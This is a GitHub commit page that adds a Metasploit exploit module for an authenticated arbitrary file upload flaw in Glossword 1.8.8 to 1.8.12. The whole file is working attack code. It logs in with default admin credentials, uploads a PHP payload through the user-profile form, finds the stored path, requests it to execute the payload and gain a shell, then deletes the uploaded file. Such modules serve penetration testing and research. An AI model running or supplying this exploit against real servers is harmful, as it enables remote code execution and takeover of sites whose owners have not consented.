Skip to content

Commit 5fe2c26

Browse files
committed
Merge branch 'bcoles-glossword_upload_exec'
2 parents dd9002f + 52241b8 commit 5fe2c26

File tree

1 file changed

+192
-0
lines changed

1 file changed

+192
-0
lines changed
Lines changed: 192 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,192 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = ExcellentRanking
12+
13+
include Msf::Exploit::Remote::HttpClient
14+
15+
def initialize(info={})
16+
super(update_info(info,
17+
'Name' => "Glossword v1.8.8 - 1.8.12 Arbitrary File Upload Vulnerability",
18+
'Description' => %q{
19+
This module exploits a file upload vulnerability in Glossword
20+
versions 1.8.8 to 1.8.12 when run as a standalone application.
21+
This application has an upload feature that allows an authenticated user
22+
with administrator roles to upload arbitrary files to the 'gw_temp/a/'
23+
directory.
24+
},
25+
'License' => MSF_LICENSE,
26+
'Author' =>
27+
[
28+
'AkaStep', # Discovery
29+
'Brendan Coles <bcoles[at]gmail.com>' # metasploit exploit
30+
],
31+
'References' =>
32+
[
33+
[ 'EDB', '24456' ],
34+
[ 'OSVDB' '89960' ]
35+
],
36+
'Platform' => 'php',
37+
'Arch' => ARCH_PHP,
38+
'Targets' => [['Automatic Targeting', { 'auto' => true }]],
39+
'Privileged' => true,
40+
'DisclosureDate' => "Feb 05 2013",
41+
'DefaultTarget' => 0))
42+
43+
register_options(
44+
[
45+
OptString.new('TARGETURI', [true, 'The path to the web application', '/glossword/1.8/']),
46+
OptString.new('USERNAME', [true, 'The username for Glossword', 'admin']),
47+
OptString.new('PASSWORD', [true, 'The password for Glossword', 'admin'])
48+
], self.class)
49+
end
50+
51+
def check
52+
53+
base = target_uri.path
54+
peer = "#{rhost}:#{rport}"
55+
user = datastore['USERNAME']
56+
pass = datastore['PASSWORD']
57+
58+
# login
59+
print_status("#{peer} - Authenticating as user '#{user}'")
60+
begin
61+
res = login(base, user, pass)
62+
if res
63+
if res.code == 200
64+
print_error("#{peer} - Authentication failed")
65+
return Exploit::CheckCode::Unknown
66+
elsif res.code == 301 and res.headers['set-cookie'] =~ /sid([\da-f]+)=([\da-f]{32})/
67+
print_good("#{peer} - Authenticated successfully")
68+
return Exploit::CheckCode::Appears
69+
end
70+
end
71+
return Exploit::CheckCode::Safe
72+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
73+
print_error("#{peer} - Connection failed")
74+
end
75+
return Exploit::CheckCode::Unknown
76+
77+
end
78+
79+
def on_new_session(client)
80+
if client.type == "meterpreter"
81+
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
82+
client.fs.file.rm("#{@fname}")
83+
else
84+
client.shell_command_token("rm #{@fname}")
85+
end
86+
end
87+
88+
def upload(base, sid, fname, file)
89+
90+
user = datastore['USERNAME']
91+
pass = datastore['PASSWORD']
92+
data = Rex::MIME::Message.new
93+
data.add_part(file, 'application/x-php', nil, "form-data; name=\"file_location\"; filename=\"#{fname}\"")
94+
data.add_part("edit-own", nil, nil, 'form-data; name="a"')
95+
data.add_part("users", nil, nil, 'form-data; name="t"')
96+
data.add_part("Save", nil, nil, 'form-data; name="post"')
97+
data.add_part("#{sid}", nil, nil, 'form-data; name="sid"')
98+
data.add_part("#{user}", nil, nil, 'form-data; name="arPost[login]"')
99+
data.add_part("#{pass}", nil, nil, 'form-data; name="arPost[pass_new]"')
100+
data.add_part("#{pass}", nil, nil, 'form-data; name="arPost[pass_confirm]"')
101+
102+
data_post = data.to_s
103+
data_post = data_post.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
104+
105+
res = send_request_cgi({
106+
'method' => 'POST',
107+
'uri' => normalize_uri(base, 'gw_admin.php'),
108+
'ctype' => "multipart/form-data; boundary=#{data.bound}",
109+
'data' => data_post,
110+
})
111+
112+
return res
113+
end
114+
115+
def login(base, user, pass)
116+
117+
res = send_request_cgi({
118+
'method' => 'POST',
119+
'uri' => normalize_uri(base, 'gw_login.php'),
120+
'data' => "arPost%5Buser_name%5D=#{user}&arPost%5Buser_pass%5D=#{pass}&arPost%5Blocale_name%5D=en-utf8&a=login&sid=&post=Enter"
121+
})
122+
return res
123+
124+
end
125+
126+
def exploit
127+
128+
base = target_uri.path
129+
@peer = "#{rhost}:#{rport}"
130+
@fname= rand_text_alphanumeric(rand(10)+6) + '.php'
131+
user = datastore['USERNAME']
132+
pass = datastore['PASSWORD']
133+
134+
# login; get session id and token
135+
print_status("#{@peer} - Authenticating as user '#{user}'")
136+
res = login(base, user, pass)
137+
if res and res.code == 301 and res.headers['set-cookie'] =~ /sid([\da-f]+)=([\da-f]{32})/
138+
token = "#{$1}"
139+
sid = "#{$2}"
140+
print_good("#{@peer} - Authenticated successfully")
141+
else
142+
fail_with(Exploit::Failure::NoAccess, "#{@peer} - Authentication failed")
143+
end
144+
145+
# upload PHP payload
146+
print_status("#{@peer} - Uploading PHP payload (#{payload.encoded.length} bytes)")
147+
php = %Q|<?php #{payload.encoded} ?>|
148+
begin
149+
res = upload(base, sid, @fname, php)
150+
if res and res.code == 301 and res['location'] =~ /Setting saved/
151+
print_good("#{@peer} - File uploaded successfully")
152+
else
153+
fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Uploading PHP payload failed")
154+
end
155+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
156+
fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
157+
end
158+
159+
# retrieve PHP file path
160+
print_status("#{@peer} - Locating PHP payload file")
161+
begin
162+
res = send_request_cgi({
163+
'method' => 'GET',
164+
'uri' => normalize_uri(base, 'gw_admin.php?a=edit-own&t=users'),
165+
'cookie' => "sid#{token}=#{sid}"
166+
})
167+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
168+
fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
169+
end
170+
if res and res.code == 200 and res.body =~ /<img width="" height="" src="([^"]+)"/
171+
shell_uri = "#{$1}"
172+
@fname = shell_uri.match('(\d+_[a-zA-Z\d]+\.php)')
173+
print_good("#{@peer} - Found payload file path (#{shell_uri})")
174+
else
175+
fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Failed to find PHP payload file path")
176+
end
177+
178+
# retrieve and execute PHP payload
179+
print_status("#{@peer} - Executing payload (#{shell_uri})")
180+
begin
181+
send_request_cgi({
182+
'method' => 'GET',
183+
'uri' => normalize_uri(base, shell_uri),
184+
})
185+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
186+
fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
187+
end
188+
if !res or res.code != 200
189+
fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Executing payload failed")
190+
end
191+
end
192+
end

0 commit comments

Comments
 (0)